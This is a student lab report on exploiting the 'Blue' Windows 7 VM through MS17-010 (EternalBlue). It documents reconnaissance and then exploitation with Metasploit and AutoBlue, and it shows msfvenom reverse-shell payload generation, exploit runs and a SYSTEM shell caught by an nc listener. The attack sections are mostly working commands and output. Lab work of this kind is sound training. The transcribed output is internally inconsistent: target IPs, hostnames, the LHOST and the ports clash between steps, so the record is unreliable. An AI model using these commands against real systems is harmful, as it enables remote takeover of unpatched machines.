

Ethical Hacking and Penetration Testing - Assignment 3 Report

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1. Introduction

This report documents the exploitation phase performed on the vulnerable machine "Blue" as part of Assignment 3. Both automated and manual exploitation approaches were used to gain a session on the target system. The report includes all steps such as information gathering, scanning, verification of vulnerabilities, and exploitation. Screenshot placeholders have been inserted where the actual screenshots should be added.

2. Information Gathering

Initial network discovery was conducted to identify active hosts on the local network. The following tool was used:

- arp-scan to enumerate devices in the subnet.

Screenshot Placeholder: ARP Scan Results

```
(root@kali)-[/home/abdelmonem]
# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 08:00:27:44:c2:86, IPv4: 192.168.56.103
WARNING: Cannot open MAC/Vendor file ieee-oui.txt: Permission denied
WARNING: Cannot open MAC/Vendor file mac-vendor.txt: Permission denied
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.56.1    0a:00:27:00:00:16    (Unknown: locally administered)
192.168.56.100  08:00:27:7f:59:ec    (Unknown)
192.168.56.104  08:00:27:67:ae:19    (Unknown)

3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.147 seconds (119.24 hosts/sec)
. 3 responded
```

3. Scanning (Nmap)

Nmap was used to identify open ports, running services, and OS information. The scan revealed that the target machine is running Windows 7 Ultimate SP1 and has SMB port 445 open, making it vulnerable to MS17-010 (EternalBlue).

Screenshot Placeholder: Nmap Scan

```
root@kali: /home/abdelmonem
Session Actions Edit View Help
(root@kali)-[/home/abdelmonem]
# nmap -sV -A 192.168.56.104
Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-15 21:29 EET
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 192.168.56.104
Host is up (0.00028s latency).
Not shown: 991 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
135/tcp    open  msrpc        Microsoft Windows RPC
139/tcp    open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp    open  microsoft-ds Windows 7 Ultimate 7601 Service Pack 1 microsoft
-ds (workgroup: WORKGROUP)
49152/tcp  open  msrpc        Microsoft Windows RPC
49153/tcp  open  msrpc        Microsoft Windows RPC
49154/tcp  open  msrpc        Microsoft Windows RPC
49155/tcp  open  msrpc        Microsoft Windows RPC
49156/tcp  open  msrpc        Microsoft Windows RPC
49157/tcp  open  msrpc        Microsoft Windows RPC
MAC Address: 08:00:27:67:AE:19 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Microsoft Windows 2008|7|Vista|8.1
OS CPE: cpe:/o:microsoft:windows_server_2008:r2 cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows_vista cpe:/o:microsoft:windows_8.1
OS details: Microsoft Windows Vista SP2 or Windows 7 or Windows Server 2008 R2 or Windows 8.1
Network Distance: 1 hop
Service Info: Host: WIN-845Q99004PP; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_ smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_ smb2-time:
|   date: 2026-03-16T01:30:10
|   start_date: 2026-03-16T00:59:43
|_ clock-skew: mean: 7h19m54s, deviation: 2h18m33s, median: 5h59m54s
|_ smb-os-discovery:
|   OS: Windows 7 Ultimate 7601 Service Pack 1 (Windows 7 Ultimate 6.1)
|   OS CPE: cpe:/o:microsoft:windows_7::sp1
|   Computer name: WIN-845Q99004PP
|   NetBIOS computer name: WIN-845Q99004PP\x00
|   Workgroup: WORKGROUP\x00
|   System time: 2026-03-15T21:30:10-04:00
|_ smb2-security-mode:
|   2.1:0:
|_ Message signing enabled but not required
|_ nbstat: NetBIOS name: WIN-845Q99004PP, NetBIOS user: <unknown>, NetBIOS MAC

TRACEROUTE
HOP RTT ADDRESS
1 0.28 ms 192.168.56.104

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 74.60 seconds

(root@kali)-[/home/abdelmonem]
#
```

4. Automated Exploitation

Automated exploitation was conducted using Metasploit. The module used was:

- exploit/windows/smb/ms17_010_eternalblue

LHOST, RHOSTS and payload were configured, followed by launching the exploit. A Meterpreter session was successfully obtained.

Screenshot Placeholder: Metasploit EternalBlue Execution

```
msf > search windows 7 smb ms17

Matching Modules

#  Name                                     Disclosure Date  Rank  Check  Description
-  -
0  exploit/windows/smb/ms17_010_eternalblue  2017-03-14      average Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
1  \ target: Automatic Target                .               .      .      .
2  \ target: Windows 7                       .               .      .      .
3  \ target: Windows Embedded Standard 7     .               .      .      .
4  \ target: Windows Server 2008 R2          .               .      .      .
5  \ target: Windows 8                       .               .      .      .
6  \ target: Windows 8.1                     .               .      .      .
7  \ target: Windows Server 2012             .               .      .      .
8  \ target: Windows 10 Pro                   .               .      .      .
9  \ target: Windows 10 Enterprise Evaluation .               .      .      .
10 exploit/windows/smb/ms17_010_psexec      2017-03-14      normal Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Ex
11 \ target: Automatic                       .               .      .      .
12 \ target: PowerShell                       .               .      .      .
13 \ target: Native upload                     .               .      .      .
14 \ target: MOF upload                       .               .      .      .
15 \ AKA: ETERNALSYNERGY                      .               .      .      .
16 \ AKA: ETERNALROMANCE                     .               .      .      .
17 \ AKA: ETERNALCHAMPION                     .               .      .      .
18 \ AKA: ETERNALBLUE                         .               .      .      .
19 auxiliary/admin/smb/ms17_010_command      2017-03-14      normal No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command
20 \ AKA: ETERNALSYNERGY                      .               .      .      .
21 \ AKA: ETERNALROMANCE                     .               .      .      .
22 \ AKA: ETERNALCHAMPION                     .               .      .      .
23 \ AKA: ETERNALBLUE                         .               .      .      .
24 exploit/windows/smb/smb_doublepulsar_rce 2017-04-14      great  Yes    SMB DOUBLEPULSAR Remote Code Execution
25 \ target: Execute payload (x64)            .               .      .      .
26 \ target: Neutralize implant               .               .      .      .

Interact with a module by name or index. For example info 26, use 26 or use exploit/windows/smb/smb_doublepulsar_rce
After interacting with a module you can manually set a TARGET with set TARGET 'Neutralize implant'

msf >
```

```

Session Actions Edit View Help
msf exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.56.103
LHOST => 192.168.56.103
msf exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.56.104
RHOSTS => 192.168.56.104
msf exploit(windows/smb/ms17_010_eternalblue) > set LPORT 4444
LPORT => 4444
msf exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf exploit(windows/smb/ms17_010_eternalblue) > run
[*] Started reverse TCP handler on 192.168.56.103:4444
[*] 192.168.56.104:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 192.168.56.104:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Ultimate 7601 Service Pack 1 x64 (64-bit)
/usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/recog-3.1.23/lib/recog/fingerprint/regexp_factory.rb:34: warning: nested repeat operator '+' and '?' was replaced with '*' in regular expression
[*] 192.168.56.104:445 - Scanned 1 of 1 hosts (100% complete)
[+] 192.168.56.104:445 - The target is vulnerable.
[*] 192.168.56.104:445 - Connecting to target for exploitation.
[+] 192.168.56.104:445 - Connection established for exploitation.
[+] 192.168.56.104:445 - Target OS selected valid for OS indicated by SMB reply
[*] 192.168.56.104:445 - CORE raw buffer dump (38 bytes)
[*] 192.168.56.104:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 55 6c 74 69 6d 61 Windows 7 Ultima
[*] 192.168.56.104:445 - 0x00000010 74 65 20 37 36 30 31 20 53 65 72 76 69 63 65 20 te 7601 Service
[*] 192.168.56.104:445 - 0x00000020 50 61 63 6b 20 31 Pack 1
[+] 192.168.56.104:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 192.168.56.104:445 - Trying exploit with 12 Groom Allocations.
[*] 192.168.56.104:445 - Sending all but last fragment of exploit packet
[*] 192.168.56.104:445 - Starting non-paged pool grooming
[+] 192.168.56.104:445 - Sending SMBv2 buffers
[+] 192.168.56.104:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 192.168.56.104:445 - Sending final SMBv2 buffers.
[*] 192.168.56.104:445 - Sending last fragment of exploit packet!

```

5. Session Validation

After exploitation, the Meterpreter session was validated using the sysinfo command. The system details confirmed access to Windows 7 Ultimate SP1 x64.

Screenshot Placeholder: Meterpreter sysinfo


```
Session Actions Edit View Help
[+] 192.168.56.104:445 - Target OS selected valid for OS indicated by
SMB reply
[*] 192.168.56.104:445 - CORE raw buffer dump (38 bytes)
[*] 192.168.56.104:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 55
6c 74 69 6d 61 Windows 7 Ultima
[*] 192.168.56.104:445 - 0x00000010 74 65 20 37 36 30 31 20 53 65 72
76 69 63 65 20 te 7601 Service
[*] 192.168.56.104:445 - 0x00000020 50 61 63 6b 20 31
Pack 1
[+] 192.168.56.104:445 - Target arch selected valid for arch indicate
d by DCE/RPC reply
[*] 192.168.56.104:445 - Trying exploit with 12 Groom Allocations.
[*] 192.168.56.104:445 - Sending all but last fragment of exploit pac
ket
[*] 192.168.56.104:445 - Starting non-paged pool grooming
[+] 192.168.56.104:445 - Sending SMBv2 buffers
[+] 192.168.56.104:445 - Closing SMBv1 connection creating free hole
adjacent to SMBv2 buffer.
[*] 192.168.56.104:445 - Sending final SMBv2 buffers.
[*] 192.168.56.104:445 - Sending last fragment of exploit packet!
[*] 192.168.56.104:445 - Receiving response from exploit packet
[+] 192.168.56.104:445 - ETERNALBLUE overwrite completed successfully
(0xC000000D)!
[*] 192.168.56.104:445 - Sending egg to corrupted connection.
[*] 192.168.56.104:445 - Triggering free of corrupted buffer.
[*] Sending stage (230982 bytes) to 192.168.56.104
[*] Meterpreter session 1 opened (192.168.56.103:4444 → 192.168.56.1
04:49158) at 2026-03-16 12:31:01 +0200
[+] 192.168.56.104:445 - -----
-----
[+] 192.168.56.104:445 - -----WIN-----
-----
[+] 192.168.56.104:445 - -----
-----

meterpreter > sysinfo
Computer : WIN-845Q99004PP
OS : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 0
Meterpreter : x64/windows
meterpreter > 
```

6. Manual Exploitation

Manual exploitation was conducted using AutoBlue-MS17-010. The steps included:

- Navigating to the AutoBlue-MS17-010 directory
- Running shellcode preparation scripts
- Generating both x64 and x86 reverse shell payloads
- Launching the exploit manually through the Python scripts

Screenshot Placeholder: Shellcode Generation

```
root@kali: ~/AutoBlue-MS17-010
Session Actions Edit View Help
admin@canopusnme- root@kali- root@kali- ~/AutoBlue-MS17-010/shellcode
Generating x64 cmd shell (stageless)...
msfvenom -p windows/x64/shell_reverse_tcp -f raw -o sc_x64.msfx bin EXITFUNC=thread LHOST=192.168.56.4 LPORT=5555
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Saved as: sc_x64.msfx bin
Generating x86 cmd shell (stageless)...
msfvenom -p windows/shell_reverse_tcp -f raw -o sc_x86.msfx bin EXITFUNC=thread LHOST=192.168.56.4 LPORT=5555
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 324 bytes
Saved as: sc_x86.msfx bin
MERGING SHELLCODE W0000!!!
DONE
root@kali: ~/AutoBlue-MS17-010/shellcode
cd ..
root@kali: ~/AutoBlue-MS17-010
python3 eternalblue_exploit7.py 192.168.56.4 shellcode/sc_x64.bin
shellcode size: 1232
numGroomComm: 11
Target OS: Windows 7 Ultimate 7601 Service Pack 1
SMB1 session setup allocate nonpaged pool success
SMB1 session setup allocate nonpaged pool success
good response status: INVALID_PARAMETER
done
root@kali: ~/AutoBlue-MS17-010
python3 eternalblue_exploit7.py 192.168.56.4 shellcode/sc_x64.bin
shellcode size: 1232
numGroomComm: 11
Target OS: Windows 7 Ultimate 7601 Service Pack 1
SMB1 session setup allocate nonpaged pool success
SMB1 session setup allocate nonpaged pool success
good response status: INVALID_PARAMETER
done
root@kali: ~/AutoBlue-MS17-010
python3 eternalblue_exploit7.py 192.168.56.4 shellcode/sc_x64.bin
shellcode size: 1232
numGroomComm: 11
Target OS: Windows 7 Ultimate 7601 Service Pack 1
SMB1 session setup allocate nonpaged pool success
SMB1 session setup allocate nonpaged pool success
good response status: INVALID_PARAMETER
done
root@kali: ~/AutoBlue-MS17-010
```

Screenshot Placeholder: Manual Exploit Execution

```
root@kali: ~
Session Actions Edit View Help
root@kali: ~ root@kali: ~ root@kali: ~ root@kali: ~/MS17-010/AutoBlue-MS17-010/shellcode root@kali: ~/MS17-010/AutoBlue-MS17-010 root@kali: ~/MS17-010/AutoBlue-MS17-010
root@kali: ~/
nc -lvp 4444
listening on [any] 4444 ...
connect to [192.168.56.3] from (UNKNOWN) [192.168.56.4] 49160
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

C:\Windows\system32>hostname
hostname
WIN-8A5099004PP

C:\Windows\system32>ipconfig
ipconfig

Windows IP Configuration

Ethernet adapter Local Area Connection 2:

   Connection-specific DNS Suffix  . : 
   Link-local IPv6 Address . . . . . : fe80::21b3:8a34:1ffe:855e%16
   IPv4 Address. . . . . : 192.168.56.4
   Subnet Mask . . . . . : 255.255.255.0
   Default Gateway . . . . . : 

Tunnel adapter {8CCD9B58-8B54-4D56-BD94-19B4DAFE6872}:

   Media State . . . . . : Media disconnected
   Connection-specific DNS Suffix  . : 

C:\Windows\system32>systeminfo
systeminfo

Host Name:                 WIN-8A5099004PP
OS Name:                   Microsoft Windows 7 Ultimate
OS Version:                6.1.7601 Service Pack 1 Build 7601
OS Manufacturer:          Microsoft Corporation
OS Configuration:          Standalone Workstation
OS Build Type:              Multiprocessor Free
Registered Owner:           Windows User
Registered Organization:    00426-292-0000007-85009
Product ID:                 72672021, 9189:34 AM
Original Install Date:      3/14/2010, 11:30:00 PM
System Boot Time:           3/14/2010, 11:30:00 PM
System Manufacturer:        innotek GmbH
System Model:                VirtualBox
System Type:                x64-based PC
Processor(s):                1 Processor(s) Installed.
                              [0]: Intel(R) family 6 Model 186 Stepping 2 GenuineIntel ~2921 Mhz
BIOS Version:               innotek GmbH VirtualBox, 12/1/2006
```

7. Conclusion

A successful session was obtained on the vulnerable machine using both automated and manual exploitation approaches. The vulnerability exploited was MS17-010, commonly known as EternalBlue. This demonstrates the importance of maintaining system updates and security patches to prevent severe compromise.